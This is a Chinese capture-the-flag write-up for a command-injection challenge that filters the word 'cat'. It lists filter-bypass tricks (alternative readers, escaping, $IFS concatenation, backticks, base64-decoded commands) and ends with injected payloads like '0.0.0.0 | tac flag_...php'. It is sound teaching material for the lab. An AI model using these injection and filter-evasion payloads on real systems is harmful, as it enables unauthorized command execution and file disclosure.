题目描述

过滤了 cat 命令之后,你还有什么方法能读到 Flag?

Solution

打开网页,可以看到服务器的后端代码:

1.png

根据源代码可知,题目用正则匹配把$ip变量中所以匹配到cat字符串的结果顺序输出到$m变量中。

对于cat命令过滤,我们有如下绕过方法:

替代法

  1. more:一页一页的显示档案内容
  2. less:与 more 类似
  3. head:查看头几行
  4. tac:从最后一行开始显示,可以看出 tac cat 的反向显示
  5. tail:查看尾几行
  6. nl:显示的时候,顺便输出行号
  7. od:以二进制的方式读取档案内容
  8. vi:一种编辑器,这个也可以查看
  9. vim:一种编辑器,这个也可以查看
  10. sort:可以查看
  11. uniq:可以查看
  12. file -f:报错出具体内容
  13. sh /flag 2>%261 //报错出文件内容

转义符号

  1. ca\t /fl\ag
  2. cat fl''ag

拼接法

  1. a=fl;b=ag;cat$IFS$a$b

反引号绕过

  1. ┌──(cheerykali)-[~/Desktop/flag]
  2. └─$ ls
  3. flag
  4. ┌──(cheerykali)-[~/Desktop/flag]
  5. └─$ cat `ls`
  6. flag{Hello World}

Base64 编码绕过

  1. ┌──(cheerykali)-[~/Desktop/flag]
  2. └─$ echo 'cat' | base64 1
  3. Y2F0Cg==
  4. ┌──(cheerykali)-[~/Desktop/flag]
  5. └─$ `echo 'Y2F0Cg==' | base64 -d` flag
  6. flag{Hello World}

位置变量绕过

  1. ┌──(cheerykali)-[~/Desktop/flag]
  2. └─$ ca$9t flag
  3. flag{Hello World}

我们输入下列命令查看当前目录有什么文件:

  1. 0.0.0.0 | ls

2.png

然后用tac输出 Flag 文件,在前端源码中找到:

  1. 0.0.0.0 | tac flag_303863133132487.php

3.png